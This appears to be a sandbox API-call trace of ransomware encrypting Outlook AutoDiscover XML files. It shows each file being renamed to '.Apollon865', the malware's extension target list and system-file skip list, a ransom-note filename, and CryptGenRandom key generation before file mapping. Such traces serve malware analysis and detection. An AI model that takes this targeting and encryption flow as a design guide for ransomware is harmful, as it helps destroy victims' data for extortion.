	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2="MSBuild") returned 1
	[0070.211] lstrlenW (lpString="YAHOO.IE.XML") returned 12
	[0070.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML") returned 75
	[0070.211] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.IE.XML" | out: lpString1="YAHOO.IE.XML") returned="YAHOO.IE.XML"
	[0070.211] lstrlenW (lpString="YAHOO.IE.XML") returned 12
	[0070.211] lstrlenW (lpString="Apollon865") returned 10
	[0070.211] lstrcmpiW (lpString1="HOO.IE.XML", lpString2="Apollon865") returned 1
	[0070.211] lstrlenW (lpString=".dll") returned 4
	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2=".dll") returned 1
	[0070.211] lstrlenW (lpString=".lnk") returned 4
	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2=".lnk") returned 1
	[0070.211] lstrlenW (lpString=".ini") returned 4
	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2=".ini") returned 1
	[0070.211] lstrlenW (lpString=".sys") returned 4
	[0070.211] lstrcmpiW (lpString1="YAHOO.IE.XML", lpString2=".sys") returned 1
	[0070.211] lstrlenW (lpString="YAHOO.IE.XML") returned 12
	[0070.211] lstrlenW (lpString="bak") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.211] lstrlenW (lpString="ba_") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.211] lstrlenW (lpString="dbb") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.211] lstrlenW (lpString="vmdk") returned 4
	[0070.211] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.211] lstrlenW (lpString="rar") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.211] lstrlenW (lpString="zip") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.211] lstrlenW (lpString="tgz") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.211] lstrlenW (lpString="vbox") returned 4
	[0070.211] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.211] lstrlenW (lpString="vdi") returned 3
	[0070.211] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.211] lstrlenW (lpString="vhd") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.212] lstrlenW (lpString="vhdx") returned 4
	[0070.212] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.212] lstrlenW (lpString="avhd") returned 4
	[0070.212] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.212] lstrlenW (lpString="db") returned 2
	[0070.212] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.212] lstrlenW (lpString="db2") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.212] lstrlenW (lpString="db3") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.212] lstrlenW (lpString="dbf") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.212] lstrlenW (lpString="mdf") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.212] lstrlenW (lpString="mdb") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.212] lstrlenW (lpString="sql") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.212] lstrlenW (lpString="sqlite") returned 6
	[0070.212] lstrcmpiW (lpString1="IE.XML", lpString2="sqlite") returned -1
	[0070.212] lstrlenW (lpString="sqlite3") returned 7
	[0070.212] lstrcmpiW (lpString1=".IE.XML", lpString2="sqlite3") returned -1
	[0070.212] lstrlenW (lpString="sqlitedb") returned 8
	[0070.212] lstrcmpiW (lpString1="O.IE.XML", lpString2="sqlitedb") returned -1
	[0070.212] lstrlenW (lpString="xml") returned 3
	[0070.212] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.212] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.Apollon865") returned 86
	[0070.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.213] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0070.213] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.214] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.214] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.214] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.216] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.216] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.217] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.217] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2=".") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="..") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="windows") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="bootmgr") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="temp") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="pagefile.sys") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="boot") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="ids.txt") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="ntuser.dat") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="perflogs") returned 1
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2="MSBuild") returned 1
	[0070.218] lstrlenW (lpString="YAHOO.IT.XML") returned 12
	[0070.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML") returned 75
	[0070.218] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.IT.XML" | out: lpString1="YAHOO.IT.XML") returned="YAHOO.IT.XML"
	[0070.218] lstrlenW (lpString="YAHOO.IT.XML") returned 12
	[0070.218] lstrlenW (lpString="Apollon865") returned 10
	[0070.218] lstrcmpiW (lpString1="HOO.IT.XML", lpString2="Apollon865") returned 1
	[0070.218] lstrlenW (lpString=".dll") returned 4
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2=".dll") returned 1
	[0070.218] lstrlenW (lpString=".lnk") returned 4
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2=".lnk") returned 1
	[0070.218] lstrlenW (lpString=".ini") returned 4
	[0070.218] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2=".ini") returned 1
	[0070.218] lstrlenW (lpString=".sys") returned 4
	[0070.219] lstrcmpiW (lpString1="YAHOO.IT.XML", lpString2=".sys") returned 1
	[0070.219] lstrlenW (lpString="YAHOO.IT.XML") returned 12
	[0070.219] lstrlenW (lpString="bak") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.219] lstrlenW (lpString="ba_") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.219] lstrlenW (lpString="dbb") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.219] lstrlenW (lpString="vmdk") returned 4
	[0070.219] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.219] lstrlenW (lpString="rar") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.219] lstrlenW (lpString="zip") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.219] lstrlenW (lpString="tgz") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.219] lstrlenW (lpString="vbox") returned 4
	[0070.219] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.219] lstrlenW (lpString="vdi") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.219] lstrlenW (lpString="vhd") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.219] lstrlenW (lpString="vhdx") returned 4
	[0070.219] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.219] lstrlenW (lpString="avhd") returned 4
	[0070.219] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.219] lstrlenW (lpString="db") returned 2
	[0070.219] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.219] lstrlenW (lpString="db2") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.219] lstrlenW (lpString="db3") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.219] lstrlenW (lpString="dbf") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.219] lstrlenW (lpString="mdf") returned 3
	[0070.219] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.219] lstrlenW (lpString="mdb") returned 3
	[0070.220] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.220] lstrlenW (lpString="sql") returned 3
	[0070.220] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.220] lstrlenW (lpString="sqlite") returned 6
	[0070.220] lstrcmpiW (lpString1="IT.XML", lpString2="sqlite") returned -1
	[0070.220] lstrlenW (lpString="sqlite3") returned 7
	[0070.220] lstrcmpiW (lpString1=".IT.XML", lpString2="sqlite3") returned -1
	[0070.220] lstrlenW (lpString="sqlitedb") returned 8
	[0070.220] lstrcmpiW (lpString1="O.IT.XML", lpString2="sqlitedb") returned -1
	[0070.220] lstrlenW (lpString="xml") returned 3
	[0070.220] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.220] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.Apollon865") returned 86
	[0070.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.221] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=804) returned 1
	[0070.221] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.222] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.222] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.222] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.223] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.224] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.224] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.224] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2=".") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="..") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="windows") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="bootmgr") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="temp") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="pagefile.sys") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="boot") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="ids.txt") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="ntuser.dat") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="perflogs") returned 1
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2="MSBuild") returned 1
	[0070.225] lstrlenW (lpString="YAHOO.JP.XML") returned 12
	[0070.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML") returned 75
	[0070.225] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.JP.XML" | out: lpString1="YAHOO.JP.XML") returned="YAHOO.JP.XML"
	[0070.225] lstrlenW (lpString="YAHOO.JP.XML") returned 12
	[0070.225] lstrlenW (lpString="Apollon865") returned 10
	[0070.225] lstrcmpiW (lpString1="HOO.JP.XML", lpString2="Apollon865") returned 1
	[0070.225] lstrlenW (lpString=".dll") returned 4
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2=".dll") returned 1
	[0070.225] lstrlenW (lpString=".lnk") returned 4
	[0070.225] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2=".lnk") returned 1
	[0070.226] lstrlenW (lpString=".ini") returned 4
	[0070.226] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2=".ini") returned 1
	[0070.226] lstrlenW (lpString=".sys") returned 4
	[0070.226] lstrcmpiW (lpString1="YAHOO.JP.XML", lpString2=".sys") returned 1
	[0070.226] lstrlenW (lpString="YAHOO.JP.XML") returned 12
	[0070.226] lstrlenW (lpString="bak") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.226] lstrlenW (lpString="ba_") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.226] lstrlenW (lpString="dbb") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.226] lstrlenW (lpString="vmdk") returned 4
	[0070.226] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.226] lstrlenW (lpString="rar") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.226] lstrlenW (lpString="zip") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.226] lstrlenW (lpString="tgz") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.226] lstrlenW (lpString="vbox") returned 4
	[0070.226] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.226] lstrlenW (lpString="vdi") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.226] lstrlenW (lpString="vhd") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.226] lstrlenW (lpString="vhdx") returned 4
	[0070.226] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.226] lstrlenW (lpString="avhd") returned 4
	[0070.226] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.226] lstrlenW (lpString="db") returned 2
	[0070.226] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.226] lstrlenW (lpString="db2") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.226] lstrlenW (lpString="db3") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.226] lstrlenW (lpString="dbf") returned 3
	[0070.226] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.227] lstrlenW (lpString="mdf") returned 3
	[0070.227] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.227] lstrlenW (lpString="mdb") returned 3
	[0070.227] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.227] lstrlenW (lpString="sql") returned 3
	[0070.227] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.227] lstrlenW (lpString="sqlite") returned 6
	[0070.227] lstrcmpiW (lpString1="JP.XML", lpString2="sqlite") returned -1
	[0070.227] lstrlenW (lpString="sqlite3") returned 7
	[0070.227] lstrcmpiW (lpString1=".JP.XML", lpString2="sqlite3") returned -1
	[0070.227] lstrlenW (lpString="sqlitedb") returned 8
	[0070.227] lstrcmpiW (lpString1="O.JP.XML", lpString2="sqlitedb") returned -1
	[0070.227] lstrlenW (lpString="xml") returned 3
	[0070.227] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.227] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.Apollon865") returned 86
	[0070.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.228] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=817) returned 1
	[0070.228] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.229] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.229] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.229] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0070.231] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0070.231] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.232] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.232] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2=".") returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="..") returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="windows") returned 1
	[0070.232] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="bootmgr") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="temp") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="pagefile.sys") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="boot") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="ids.txt") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="ntuser.dat") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="perflogs") returned 1
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2="MSBuild") returned 1
	[0070.233] lstrlenW (lpString="YAHOO.NO.XML") returned 12
	[0070.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML") returned 75
	[0070.233] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.NO.XML" | out: lpString1="YAHOO.NO.XML") returned="YAHOO.NO.XML"
	[0070.233] lstrlenW (lpString="YAHOO.NO.XML") returned 12
	[0070.233] lstrlenW (lpString="Apollon865") returned 10
	[0070.233] lstrcmpiW (lpString1="HOO.NO.XML", lpString2="Apollon865") returned 1
	[0070.233] lstrlenW (lpString=".dll") returned 4
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2=".dll") returned 1
	[0070.233] lstrlenW (lpString=".lnk") returned 4
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2=".lnk") returned 1
	[0070.233] lstrlenW (lpString=".ini") returned 4
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2=".ini") returned 1
	[0070.233] lstrlenW (lpString=".sys") returned 4
	[0070.233] lstrcmpiW (lpString1="YAHOO.NO.XML", lpString2=".sys") returned 1
	[0070.233] lstrlenW (lpString="YAHOO.NO.XML") returned 12
	[0070.233] lstrlenW (lpString="bak") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.233] lstrlenW (lpString="ba_") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.233] lstrlenW (lpString="dbb") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.233] lstrlenW (lpString="vmdk") returned 4
	[0070.233] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.233] lstrlenW (lpString="rar") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.233] lstrlenW (lpString="zip") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.233] lstrlenW (lpString="tgz") returned 3
	[0070.233] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.234] lstrlenW (lpString="vbox") returned 4
	[0070.234] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.234] lstrlenW (lpString="vdi") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.234] lstrlenW (lpString="vhd") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.234] lstrlenW (lpString="vhdx") returned 4
	[0070.234] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.234] lstrlenW (lpString="avhd") returned 4
	[0070.234] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.234] lstrlenW (lpString="db") returned 2
	[0070.234] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.234] lstrlenW (lpString="db2") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.234] lstrlenW (lpString="db3") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.234] lstrlenW (lpString="dbf") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.234] lstrlenW (lpString="mdf") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.234] lstrlenW (lpString="mdb") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.234] lstrlenW (lpString="sql") returned 3
	[0070.234] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.234] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.Apollon865") returned 86
	[0070.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.235] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.235] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
